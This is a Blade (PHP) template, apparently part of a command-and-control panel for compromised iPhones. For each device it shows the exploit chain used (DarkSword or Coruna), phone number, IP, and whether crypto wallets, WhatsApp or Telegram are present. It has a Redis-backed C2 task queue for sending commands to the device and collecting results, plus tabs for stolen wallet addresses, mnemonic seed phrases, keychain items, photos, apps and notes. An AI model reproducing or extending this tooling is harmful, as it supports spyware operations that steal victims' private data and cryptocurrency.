| 设备 ID |
{{ $device->device_id }} |
渠道 ID |
{{ $device->channel_id ?: '—' }} |
| 利用链 |
@if ($device->isDarkSword())
DarkSword
@else
Coruna
@endif
|
| 设备型号 |
{{ $device->device_model ?: '—' }} |
iOS 版本 |
{{ $device->ios_version ?: '—' }} |
| 手机号 |
{{ $device->phone ?: '—' }} |
IP |
{{ $device->formattedIp() !== '' ? $device->formattedIp() : '—' }} |
| 钱包 |
@if ((int) $device->has_wallet === \App\Models\Device::WALLET_YES)
有
@foreach ($device->walletNameList() as $name)
{{ $name }}
@endforeach
@elseif ((int) $device->has_wallet === \App\Models\Device::WALLET_NONE)
无
@else
未知
@endif
|
| WS/TG |
@if ($device->hasWhatsApp() || $device->hasTelegram())
@if ($device->hasWhatsApp())
WS
@endif
@if ($device->hasTelegram())
TG
@endif
@else
—
@endif
|
| 相册存储 |
|
| User-Agent |
{{ $device->user_agent ?: '—' }} |
| 安装 / 更新 |
{{ $device->created_at }} / {{ $device->updated_at }} |
@php
$queueState = $queueState ?? ['pending' => [], 'dispatched' => [], 'done' => []];
$queueTypes = \App\Services\DsBeaconQueue::ALL_TYPES;
$queueSchema = $queueSchema ?? \App\Services\DsBeaconQueue::PARAM_SCHEMA;
$statusLabels = \App\Services\DsBeaconQueue::STATUS_LABELS;
$hasQueue = !empty($queueState['pending']) || !empty($queueState['dispatched']) || $device->chain === \App\Models\Device::CHAIN_DARKSWORD;
@endphp
@if ($hasQueue)
C2 队列 (Redis)
@if (!empty($queueState['pending']))
· 下一条 {{ $queueState['pending'][0]['type'] }}
@elseif (!empty($queueState['dispatched']))
· 已下发未回传
@else
· 队列已空
@endif
· 回传结果见「日志」
{{-- Add task: layui button opens layer.open with form select + dynamic params --}}
@php
// Build a per-type label map from PARAM_SCHEMA: type => [field name => label]
$paramLabelsByType = [];
foreach ($queueSchema as $type => $fields) {
foreach ($fields as $f) {
$paramLabelsByType[$type][$f['name']] = $f['label'];
}
}
@endphp
| # |
任务 |
参数 |
状态 |
下发时间 |
回传时间 |
回传 |
操作 |
{{-- Pending tasks (removable) --}}
@php $rowIdx = 0; @endphp
@foreach ($queueState['pending'] as $task)
@php $rowIdx++; @endphp
| {{ $rowIdx }} |
{{ $task['type'] }} |
@php
$params = $task['params'] ?? [];
$typeLabels = $paramLabelsByType[$task['type']] ?? [];
$parts = [];
foreach ($params as $pk => $pv) {
if ($pv === null || $pv === '' || $pv === false) continue;
$lbl = $typeLabels[$pk] ?? $pk;
if (is_bool($pv)) $pv = $pv ? '是' : '否';
$parts[] = '' . e($lbl) . ': ' . e((string) $pv) . '';
}
@endphp
{!! !empty($parts) ? implode('', $parts) : '—' !!}
|
{{ $statusLabels[$task['status']] ?? $task['status'] }} |
— |
— |
— |
|
@endforeach
{{-- Dispatched tasks (in-flight) --}}
@foreach ($queueState['dispatched'] as $task)
@php $rowIdx++; @endphp
| {{ $rowIdx }} |
{{ $task['type'] }} |
@php
$params = $task['params'] ?? [];
$typeLabels = $paramLabelsByType[$task['type']] ?? [];
$parts = [];
foreach ($params as $pk => $pv) {
if ($pv === null || $pv === '' || $pv === false) continue;
$lbl = $typeLabels[$pk] ?? $pk;
if (is_bool($pv)) $pv = $pv ? '是' : '否';
$parts[] = '' . e($lbl) . ': ' . e((string) $pv) . '';
}
@endphp
{!! !empty($parts) ? implode('', $parts) : '—' !!}
|
{{ $statusLabels[$task['status']] ?? $task['status'] }} |
{{ $task['dispatched_at'] ?? '—' }} |
— |
— |
— |
@endforeach
@if ($rowIdx === 0)
| 队列为空,点击「添加任务」按钮添加 |
@endif
{{-- Hidden data for JS --}}
@endif
@php $tabs = [
'wallets' => '钱包地址',
'mnemonics' => '助记词',
'keystores' => '钥匙串',
'photos' => '相册',
'apps' => '已装 APP',
'notes' => '备忘录',
'events' => '日志',
]; @endphp
@foreach ($tabs as $key => $label)
-
{{ $label }}
@endforeach
@if ($tab === 'photos')
暂无相册
@elseif ($tab === 'notes')
暂无备忘录
@else
@if ($tab === 'wallets')
@endif
@endif